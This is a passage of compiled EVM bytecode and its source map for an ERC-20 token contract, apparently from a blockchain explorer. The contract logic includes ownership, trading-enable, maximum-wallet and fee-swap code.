001600160a01b031663f305d7194730610735816001600160a01b031660009081526002602052604090205490565b60008033426040518863ffffffff1660e01b815260040161075b9695949392919061165b565b60606040518083038185885af1158015610779573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061079e9190611696565b50506006805460ff60a01b1916600160a01b17905550565b6107be610f91565b6001600160a01b0381166108285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052581610feb565b6001600160a01b0383166108935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161081f565b6001600160a01b0382166108f45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161081f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006104c282846116da565b6001600160a01b0383166109c55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161081f565b6001600160a01b038216610a275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161081f565b6001600160a01b038316600090815260026020526040902054811115610aa95760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161081f565b6001600160a01b03831660009081526004602052604090205460ff16158015610aeb57506001600160a01b03821660009081526004602052604090205460ff16155b15610b3957600654600160a01b900460ff16610b395760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b604482015260640161081f565b6001600160a01b03831660009081526004602052604090205460ff16158015610b7b57506001600160a01b03821660009081526004602052604090205460ff16155b8015610b9557506006546001600160a01b03838116911614155b8015610bac57506001600160a01b03821661dead14155b15610c25576017546001600160a01b038316600090815260026020526040902054610bd7908361103b565b1115610c255760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161081f565b60165481111580610c4e57506001600160a01b03831660009081526004602052604090205460ff165b80610c7157506001600160a01b03821660009081526004602052604090205460ff165b610cb15760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161081f565b6006546001600160a01b038381169116148015610ce757506001600160a01b03831660009081526004602052604090205460ff16155b15610d0557600160076000828254610cff91906116ed565b90915550505b610d0f8383611047565b15610d2557610d1f600a546110cf565b60006007555b6001600160a01b038316600090815260026020526040902054610d489082610955565b6001600160a01b038416600090815260026020526040812091909155610d6e8484611260565b610d785781610d83565b610d838484846112a6565b6001600160a01b038416600090815260026020526040902054909150610da9908261103b565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfd9085815260200190565b60405180910390a350505050565b60008184841115610e2f5760405162461bcd60e51b815260040161081f9190611518565b505050900390565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6c57610e6c611700565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee9919061163e565b81600181518110610efc57610efc611700565b6001600160a01b039283166020918202929092010152600554610f229130911684610831565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f5b908590600090869030904290600401611716565b600060405180830381600087803b158015610f7557600080fd5b505af1158015610f89573d6000803e3d6000fd5b505050505050565b6000546001600160a01b0316331461053a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161081f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006104c282846116ed565b60085460009060ff161580156110665750600654600160a81b900460ff165b801561107b5750600654600160a01b900460ff165b80156110a057506001600160a01b03831660009081526004602052604090205460ff16155b80156110b957506006546001600160a01b038381169116145b80156104c2575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c5460009361110f9360029361110993919261110392839161103b565b9061103b565b90611413565b905060006111328261112c600c548661141390919063ffffffff16565b9061141f565b905060006111408483610955565b90504761114c82610e37565b60006111584783610955565b9050600061117b611174600c548861095590919063ffffffff16565b839061141f565b90506000611194600c548361141390919063ffffffff16565b905080156111a6576111a6868261142b565b600d546000906111bb90611109856002611413565b90508015611207576014546001600160a01b03166108fc6111dd836002611787565b6040518115909202916000818181858888f19350505050158015611205573d6000803e3d6000fd5b505b47801561124a576014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611248573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156104c25750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806112b385856114cd565b111561140c5760006112d66112c886866114cd565b60135461110990869061141f565b6006549091506001600160a01b03868116911614801561130357506015546001600160a01b038581169116145b1561132c5761131683633b9aca00611413565b6006805460ff60a81b1916600160a81b17905590505b30600090815260026020526040902054611346908261103b565b306000908152600260205260409020556113636112c886866114cd565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113aa91815260200190565b60405180910390a36000600f541180156113ce5750600f546113cc86866114cd565b115b156113fa576113fa3061dead6113f5600f546111096013548961141f90919063ffffffff16565b610961565b6114048382610955565b9150506104c2565b5092915050565b60006104c28284611787565b60006104c2828461179e565b6005546114439030906001600160a01b031684610831565b60055460155460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611483923092899260009283921690429060040161165b565b60606040518083038185885af11580156114a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114c69190611696565b5050505050565b6006546000906001600160a01b03908116908316036114ef57506011546103e8565b6006546001600160a01b039081169084160361150e57506010546103e8565b5060125492915050565b600060208083528351808285015260005b8181101561154557858101830151858201604001528201611529565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461052557600080fd5b6000806040838503121561158e57600080fd5b823561159981611566565b946020939093013593505050565b6000806000606084860312156115bc57600080fd5b83356115c781611566565b925060208401356115d781611566565b929592945050506040919091013590565b6000602082840312156115fa57600080fd5b81356104c281611566565b6000806040838503121561161857600080fd5b823561162381611566565b9150602083013561163381611566565b809150509250929050565b60006020828403121561165057600080fd5b81516104c281611566565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156116ab57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e8576103e86116c4565b808201808211156103e8576103e86116c4565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117665784516001600160a01b031683529383019391830191600101611741565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103e8576103e86116c4565b6000826117bb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d9b824dc8e49674434e38be37244dc49276d17787d7d36e86585584c4c97f1064736f6c63430008130033
Deployed Bytecode Sourcemap
6499:8954:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8527:67;;;;;;;;;;-1:-1:-1;8587:5:0;;;;;;;;;;;;-1:-1:-1;;;8587:5:0;;;;8527:67;;;;;;;:::i;:::-;;;;;;;;9137:133;;;;;;;;;;-1:-1:-1;9137:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9137:133:0;1023:187:1;9276:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;9276:132:0;1215:177:1;14798:309:0;;;;;;;;;;-1:-1:-1;14798:309:0;;;;;:::i;:::-;;:::i;8677:67::-;;;;;;;;;;-1:-1:-1;8677:67:0;;6724:1;2000:36:1;;1988:2;1973:18;8677:67:0;1858:184:1;6924:51:0;;;;;;;;;;-1:-1:-1;6924:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10196:205;;;;;;;;;;;;;:::i;:::-;;8038:64;;;;;;;;;;;;;;;;8750:103;;;;;;;;;;-1:-1:-1;8750:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8833:18:0;8816:7;8833:18;;;:9;:18;;;;;;;8750:103;4927;;;;;;;;;;;;;:::i;9811:131::-;;;;;;;;;;;;;:::i;7971:60::-;;;;;;;;;;;;;;;;4279:87;;;;;;;;;;-1:-1:-1;4325:7:0;4352:6;-1:-1:-1;;;;;4352:6:0;4279:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;4279:87:0;2299:203:1;8600:71:0;;;;;;;;;;-1:-1:-1;8662:7:0;;;;;;;;;;;;-1:-1:-1;;;8662:7:0;;;;8600:71;;7012:19;;;;;;;;;;-1:-1:-1;7012:19:0;;;;-1:-1:-1;;;;;7012:19:0;;;8859:139;;;;;;;;;;-1:-1:-1;8859:139:0;;;;;:::i;:::-;;:::i;9416:387::-;;;:::i;9004:127::-;;;;;;;;;;-1:-1:-1;9004:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9102:18:0;;;9085:7;9102:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9004:127;5185:201;;;;;;;;;;-1:-1:-1;5185:201:0;;;;;:::i;:::-;;:::i;9137:133::-;9212:4;9219:37;9228:10;9240:7;9249:6;9219:8;:37::i;:::-;-1:-1:-1;9264:4:0;9137:133;;;;;:::o;9276:132::-;8833:9;:18;;;;7757:42;9329:7;8833:18;;;;;9346:12;;9329:7;;9346:60;;8833:18;;9346:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;9339:67;;9276:132;:::o;14798:309::-;14896:4;14913:36;14923:6;14931:9;14942:6;14913:9;:36::i;:::-;14960:117;14969:6;14977:10;14989:87;15025:6;14989:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14989:19:0;;;;;;:11;:19;;;;;;;;15009:10;14989:31;;;;;;;;;:87;:35;:87::i;:::-;14960:8;:117::i;:::-;-1:-1:-1;15095:4:0;14798:309;;;;;;:::o;10196:205::-;10260:17;;-1:-1:-1;;;;;10260:17:0;10246:10;:31;10238:40;;;;;;10324:4;8816:7;8833:18;;;:9;:18;;;;;;10289:42;;:16;:42::i;:::-;10342:51;;10350:10;;10371:21;10342:51;;;;;;;;;10371:21;10350:10;10342:51;;;;;;;;;;;;;;;;;;;;;10196:205::o;4927:103::-;4165:13;:11;:13::i;:::-;4992:30:::1;5019:1;4992:18;:30::i;:::-;4927:103::o:0;9811:131::-;4165:13;:11;:13::i;:::-;9880:12:::1;::::0;9865::::1;:27:::0;;;9903:16:::1;:31:::0;9811:131::o;8859:139::-;8937:4;8944:40;8954:10;8966:9;8977:6;8944:9;:40::i;9416:387::-;4165:13;:11;:13::i;:::-;9502:6:::1;;;;;;;;;-1:-1:-1::0;;;;;9502:6:0::1;-1:-1:-1::0;;;;;9502:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9484:46:0::1;;9539:4;9546:6;;;;;;;;;-1:-1:-1::0;;;;;9546:6:0::1;-1:-1:-1::0;;;;;9546:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9484:76;::::0;-1:-1:-1;;;;;;9484:76:0::1;::::0;;;;;;-1:-1:-1;;;;;3386:15:1;;;9484:76:0::1;::::0;::::1;3368:34:1::0;3438:15;;3418:18;;;3411:43;3303:18;;9484:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9477:4;:83:::0;;-1:-1:-1;;;;;;9477:83:0::1;-1:-1:-1::0;;;;;9477:83:0;;::::1;;::::0;;9603:6:::1;::::0;-1:-1:-1;9612:12:0;9571:54:::1;::::0;9588:4:::1;::::0;9603:6:::1;::::0;9571:8:::1;:54::i;:::-;9636:6;::::0;-1:-1:-1;;;;;9636:6:0::1;:22;9666:21;9697:4;9704:24;9697:4:::0;-1:-1:-1;;;;;8833:18:0;8816:7;8833:18;;;:9;:18;;;;;;;8750:103;9704:24:::1;9730:1;9733::::0;9736:10:::1;9748:15;9636:128;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9775:13:0::1;:20:::0;;-1:-1:-1;;;;9775:20:0::1;-1:-1:-1::0;;;9775:20:0::1;::::0;;-1:-1:-1;9416:387:0:o;5185:201::-;4165:13;:11;:13::i;:::-;-1:-1:-1;;;;;5274:22:0;::::1;5266:73;;;::::0;-1:-1:-1;;;5266:73:0;;4590:2:1;5266:73:0::1;::::0;::::1;4572:21:1::0;4629:2;4609:18;;;4602:30;4668:34;4648:18;;;4641:62;-1:-1:-1;;;4719:18:1;;;4712:36;4765:19;;5266:73:0::1;;;;;;;;;5350:28;5369:8;5350:18;:28::i;15115:335::-:0;-1:-1:-1;;;;;15208:19:0;;15200:68;;;;-1:-1:-1;;;15200:68:0;;4997:2:1;15200:68:0;;;4979:21:1;5036:2;5016:18;;;5009:30;5075:34;5055:18;;;5048:62;-1:-1:-1;;;5126:18:1;;;5119:34;5170:19;;15200:68:0;4795:400:1;15200:68:0;-1:-1:-1;;;;;15287:21:0;;15279:68;;;;-1:-1:-1;;;15279:68:0;;5402:2:1;15279:68:0;;;5384:21:1;5441:2;5421:18;;;5414:30;5480:34;5460:18;;;5453:62;-1:-1:-1;;;5531:18:1;;;5524:32;5573:19;;15279:68:0;5200:398:1;15279:68:0;-1:-1:-1;;;;;15358:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15410:32;;1361:25:1;;;15410:32:0;;1334:18:1;15410:32:0;;;;;;;15115:335;;;:::o;1688:98::-;1746:7;1773:5;1777:1;1773;:5;:::i;13451:1339::-;-1:-1:-1;;;;;13548:20:0;;13540:70;;;;-1:-1:-1;;;13540:70:0;;6070:2:1;13540:70:0;;;6052:21:1;6109:2;6089:18;;;6082:30;6148:34;6128:18;;;6121:62;-1:-1:-1;;;6199:18:1;;;6192:35;6244:19;;13540:70:0;5868:401:1;13540:70:0;-1:-1:-1;;;;;13629:23:0;;13621:71;;;;-1:-1:-1;;;13621:71:0;;6476:2:1;13621:71:0;;;6458:21:1;6515:2;6495:18;;;6488:30;6554:34;6534:18;;;6527:62;-1:-1:-1;;;6605:18:1;;;6598:33;6648:19;;13621:71:0;6274:399:1;13621:71:0;-1:-1:-1;;;;;8833:18:0;;8816:7;8833:18;;;:9;:18;;;;;;13711:6;:27;;13703:88;;;;-1:-1:-1;;;13703:88:0;;6880:2:1;13703:88:0;;;6862:21:1;6919:2;6899:18;;;6892:30;6958:34;6938:18;;;6931:62;-1:-1:-1;;;7009:18:1;;;7002:47;7066:19;;13703:88:0;6678:413:1;13703:88:0;-1:-1:-1;;;;;13806:26:0;;;;;;:18;:26;;;;;;;;13805:27;:61;;;;-1:-1:-1;;;;;;13837:29:0;;;;;;:18;:29;;;;;;;;13836:30;13805:61;13802:107;;;13876:13;;-1:-1:-1;;;13876:13:0;;;;13868:39;;;;-1:-1:-1;;;13868:39:0;;7298:2:1;13868:39:0;;;7280:21:1;7337:2;7317:18;;;7310:30;-1:-1:-1;;;7356:18:1;;;7349:43;7409:18;;13868:39:0;7096:337:1;13868:39:0;-1:-1:-1;;;;;13923:26:0;;;;;;:18;:26;;;;;;;;13922:27;:61;;;;-1:-1:-1;;;;;;13954:29:0;;;;;;:18;:29;;;;;;;;13953:30;13922:61;:91;;;;-1:-1:-1;14008:4:0;;-1:-1:-1;;;;;13987:26:0;;;14008:4;;13987:26;;13922:91;:121;;;;-1:-1:-1;;;;;;14017:26:0;;7757:42;14017:26;;13922:121;13919:235;;;14101:16;;-1:-1:-1;;;;;14064:20:0;;;;;;:9;:20;;;;;;:32;;14089:6;14064:24;:32::i;:::-;14063:54;;14055:97;;;;-1:-1:-1;;;14055:97:0;;7640:2:1;14055:97:0;;;7622:21:1;7679:2;7659:18;;;7652:30;7718:32;7698:18;;;7691:60;7768:18;;14055:97:0;7438:354:1;14055:97:0;14182:12;;14172:6;:22;;:52;;;-1:-1:-1;;;;;;14198:26:0;;;;;;:18;:26;;;;;;;;14172:52;:85;;;-1:-1:-1;;;;;;14228:29:0;;;;;;:18;:29;;;;;;;;14172:85;14164:115;;;;-1:-1:-1;;;14164:115:0;;7999:2:1;14164:115:0;;;7981:21:1;8038:2;8018:18;;;8011:30;-1:-1:-1;;;8057:18:1;;;8050:47;8114:18;;14164:115:0;7797:341:1;14164:115:0;14307:4;;-1:-1:-1;;;;;14294:17:0;;;14307:4;;14294:17;:48;;;;-1:-1:-1;;;;;;14316:26:0;;;;;;:18;:26;;;;;;;;14315:27;14294:48;14291:78;;;14365:1;14344:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;14291:78:0;14382:37;14401:6;14409:9;14382:18;:37::i;:::-;14379:97;;;14421:29;14436:13;;14421:14;:29::i;:::-;14472:1;14452:9;:22;14379:97;-1:-1:-1;;;;;14506:17:0;;;;;;:9;:17;;;;;;:29;;14528:6;14506:21;:29::i;:::-;-1:-1:-1;;;;;14486:17:0;;;;;;:9;:17;;;;;:49;;;;14571:32;14496:6;14593:9;14571:13;:32::i;:::-;:78;;14643:6;14571:78;;;14606:34;14614:6;14622:9;14633:6;14606:7;:34::i;:::-;-1:-1:-1;;;;;14683:20:0;;;;;;:9;:20;;;;;;14546:103;;-1:-1:-1;14683:40:0;;14546:103;14683:24;:40::i;:::-;-1:-1:-1;;;;;14660:20:0;;;;;;;:9;:20;;;;;;;:63;;;;14739:43;;;;;;;;;;14767:14;1361:25:1;;1349:2;1334:18;;1215:177;14739:43:0;;;;;;;;13529:1261;13451:1339;;;:::o;2112:240::-;2232:7;2293:12;2285:6;;;;2277:29;;;;-1:-1:-1;;;2277:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2328:5:0;;;2112:240::o;11821:434::-;11911:16;;;11925:1;11911:16;;;;;;;;11887:21;;11911:16;;;;;;;;;;-1:-1:-1;11911:16:0;11887:40;;11956:4;11938;11943:1;11938:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11938:23:0;;;:7;;;;;;;;;;:23;;;;11982:6;;:13;;;-1:-1:-1;;;11982:13:0;;;;:6;;;;;:11;;:13;;;;;11938:7;;11982:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11972:4;11977:1;11972:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11972:23:0;;;:7;;;;;;;;;:23;12038:6;;12006:53;;12023:4;;12038:6;12047:11;12006:8;:53::i;:::-;12070:6;;:177;;-1:-1:-1;;;12070:177:0;;-1:-1:-1;;;;;12070:6:0;;;;:57;;:177;;12142:11;;12070:6;;12184:4;;12211;;12231:15;;12070:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11876:379;11821:434;:::o;4444:132::-;4325:7;4352:6;-1:-1:-1;;;;;4352:6:0;306:10;4508:23;4500:68;;;;-1:-1:-1;;;4500:68:0;;9724:2:1;4500:68:0;;;9706:21:1;;;9743:18;;;9736:30;9802:34;9782:18;;;9775:62;9854:18;;4500:68:0;9522:356:1;5546:191:0;5620:16;5639:6;;-1:-1:-1;;;;;5656:17:0;;;-1:-1:-1;;;;;;5656:17:0;;;;;;5689:40;;5639:6;;;;;;;5689:40;;5620:16;5689:40;5609:128;5546:191;:::o;1582:98::-;1640:7;1667:5;1671:1;1667;:5;:::i;9950:238::-;10061:8;;10036:4;;10061:8;;10060:9;:24;;;;-1:-1:-1;10073:11:0;;-1:-1:-1;;;10073:11:0;;;;10060:24;:41;;;;-1:-1:-1;10088:13:0;;-1:-1:-1;;;10088:13:0;;;;10060:41;:72;;;;-1:-1:-1;;;;;;10106:26:0;;;;;;:18;:26;;;;;;;;10105:27;10060:72;:93;;;;-1:-1:-1;10149:4:0;;-1:-1:-1;;;;;10136:17:0;;;10149:4;;10136:17;10060:93;:120;;;;-1:-1:-1;;10170:10:0;;10157:9;;:23;;;9950:238;-1:-1:-1;;9950:238:0:o;10409:1061::-;7370:8;:15;;-1:-1:-1;;7370:15:0;7381:4;7370:15;;;;;;10546:14:::1;::::0;10528:12:::1;::::0;10504::::1;::::0;7370:8;;10503:66:::1;::::0;10567:1:::1;::::0;10504:57:::1;::::0;10546:14;;10504:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;10503:63:::0;::::1;:66::i;:::-;10480:89;;10580:32;10615:42;10644:12;10615:24;10626:12;;10615:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;10580:77:::0;-1:-1:-1;10668:14:0::1;10685:36;:6:::0;10580:77;10685:10:::1;:36::i;:::-;10668:53:::0;-1:-1:-1;10757:21:0::1;10789:24;10668:53:::0;10789:16:::1;:24::i;:::-;10824:20;10847:41;:21;10873:14:::0;10847:25:::1;:41::i;:::-;10824:64;;10899:19;10920:48;10937:30;10954:12;;10937;:16;;:30;;;;:::i;:::-;10920:12:::0;;:16:::1;:48::i;:::-;10899:69;;10979:29;11011;11027:12;;11011:11;:15;;:29;;;;:::i;:::-;10979:61:::0;-1:-1:-1;11054:34:0;;11051:103:::1;;11090:61;11103:24;11129:21;11090:12;:61::i;:::-;11210:12;::::0;11164:20:::1;::::0;11187:36:::1;::::0;:18:::1;:11:::0;11203:1:::1;11187:15;:18::i;:36::-;11164:59:::0;-1:-1:-1;11237:16:0;;11234:74:::1;;11263:17;::::0;-1:-1:-1;;;;;11263:17:0::1;11255:51;11291:14;:12:::0;11304:1:::1;11291:14;:::i;:::-;11255:51;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11234:74;11344:21;11379:28:::0;;11376:87:::1;;11417:17;::::0;11409:52:::1;::::0;-1:-1:-1;;;;;11417:17:0;;::::1;::::0;11409:52;::::1;;;::::0;11445:15;;11417:17:::1;11409:52:::0;11417:17;11409:52;11445:15;11417:17;11409:52;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11376:87;-1:-1:-1::0;;7390:8:0;:16;;-1:-1:-1;;7390:16:0;;;-1:-1:-1;;;;;;;;10409:1061:0:o;12263:174::-;-1:-1:-1;;;;;12369:26:0;;12344:4;12369:26;;;:18;:26;;;;;;;;12368:27;:61;;;;-1:-1:-1;;;;;;;12400:29:0;;;;;:18;:29;;;;;;;;12399:30;;12263:174;-1:-1:-1;12263:174:0:o;12673:770::-;12759:7;12816:1;12782:31;12795:6;12803:9;12782:12;:31::i;:::-;:35;12779:642;;;12829:17;12849:60;12877:31;12890:6;12898:9;12877:12;:31::i;:::-;12860:11;;12849:23;;:6;;:10;:23::i;:60::-;12931:4;;12829:80;;-1:-1:-1;;;;;;12923:12:0;;;12931:4;;12923:12;:35;;;;-1:-1:-1;12948:10:0;;-1:-1:-1;;;;;12937:21:0;;;12948:10;;12937:21;12923:35;12920:84;;;12970:15;:6;12981:3;12970:10;:15::i;:::-;12986:11;:16;;-1:-1:-1;;;;12986:16:0;-1:-1:-1;;;12986:16:0;;;12960:25;-1:-1:-1;12920:84:0;13059:4;13041:24;;;;:9;:24;;;;;;:39;;13070:9;13041:28;:39::i;:::-;13032:4;13014:24;;;;:9;:24;;;;;:66;13103:60;13131:31;13144:6;13152:9;13131:12;:31::i;13103:60::-;13091:72;;13204:4;-1:-1:-1;;;;;13179:42:0;13188:6;-1:-1:-1;;;;;13179:42:0;;13211:9;13179:42;;;;1361:25:1;;1349:2;1334:18;;1215:177;13179:42:0;;;;;;;;13253:1;13235:7;;:20;:65;;;;;13293:7;;13259:31;13272:6;13280:9;13259:12;:31::i;:::-;:41;13235:65;13232:149;;;13302:77;13320:4;7757:42;13342:36;13370:7;;13342:23;13353:11;;13342:6;:10;;:23;;;;:::i;:36::-;13302:9;:77::i;:::-;13398:21;:6;13409:9;13398:10;:21::i;:::-;13391:28;;;;;12779:642;-1:-1:-1;13429:6:0;12673:770;-1:-1:-1;;12673:770:0:o;1794:98::-;1852:7;1879:5;1883:1;1879;:5;:::i;1900:98::-;1958:7;1985:5;1989:1;1985;:5;:::i;11478:335::-;11591:6;;11559:53;;11576:4;;-1:-1:-1;;;;;11591:6:0;11600:11;11559:8;:53::i;:::-;11623:6;;11764:10;;11623:182;;-1:-1:-1;;;11623:182:0;;-1:-1:-1;;;;;11623:6:0;;;;:22;;11653:9;;11623:182;;11686:4;;11706:11;;11623:6;;;;11764:10;;11789:15;;11623:182;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11478:335;;:::o;12445:220::-;12561:4;;12525:7;;-1:-1:-1;;;;;12561:4:0;;;12548:17;;;;12545:38;;-1:-1:-1;12574:7:0;;12567:14;;12545:38;12606:4;;-1:-1:-1;;;;;12606:4:0;;;12596:14;;;;12593:36;;-1:-1:-1;12619:8:0;;12612:15;;12593:36;-1:-1:-1;12646:11:0;;12445:220;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:251::-;2970:6;3023:2;3011:9;3002:7;2998:23;2994:32;2991:52;;;3039:1;3036;3029:12;2991:52;3071:9;3065:16;3090:31;3115:5;3090:31;:::i;3465:607::-;-1:-1:-1;;;;;3824:15:1;;;3806:34;;3871:2;3856:18;;3849:34;;;;3914:2;3899:18;;3892:34;;;;3957:2;3942:18;;3935:34;;;;4006:15;;;4000:3;3985:19;;3978:44;3786:3;4038:19;;4031:35;;;;3755:3;3740:19;;3465:607::o;4077:306::-;4165:6;4173;4181;4234:2;4222:9;4213:7;4209:23;4205:32;4202:52;;;4250:1;4247;4240:12;4202:52;4279:9;4273:16;4263:26;;4329:2;4318:9;4314:18;4308:25;4298:35;;4373:2;4362:9;4358:18;4352:25;4342:35;;4077:306;;;;;:::o;5603:127::-;5664:10;5659:3;5655:20;5652:1;5645:31;5695:4;5692:1;5685:15;5719:4;5716:1;5709:15;5735:128;5802:9;;;5823:11;;;5820:37;;;5837:18;;:::i;8143:125::-;8208:9;;;8229:10;;;8226:36;;;8242:18;;:::i;8405:127::-;8466:10;8461:3;8457:20;8454:1;8447:31;8497:4;8494:1;8487:15;8521:4;8518:1;8511:15;8537:980;8799:4;8847:3;8836:9;8832:19;8878:6;8867:9;8860:25;8904:2;8942:6;8937:2;8926:9;8922:18;8915:34;8985:3;8980:2;8969:9;8965:18;8958:31;9009:6;9044;9038:13;9075:6;9067;9060:22;9113:3;9102:9;9098:19;9091:26;;9152:2;9144:6;9140:15;9126:29;;9173:1;9183:195;9197:6;9194:1;9191:13;9183:195;;;9262:13;;-1:-1:-1;;;;;9258:39:1;9246:52;;9353:15;;;;9318:12;;;;9294:1;9212:9;9183:195;;;-1:-1:-1;;;;;;;9434:32:1;;;;9429:2;9414:18;;9407:60;-1:-1:-1;;;9498:3:1;9483:19;9476:35;9395:3;8537:980;-1:-1:-1;;;8537:980:1:o;9883:168::-;9956:9;;;9987;;10004:15;;;9998:22;;9984:37;9974:71;;10025:18;;:::i;10056:217::-;10096:1;10122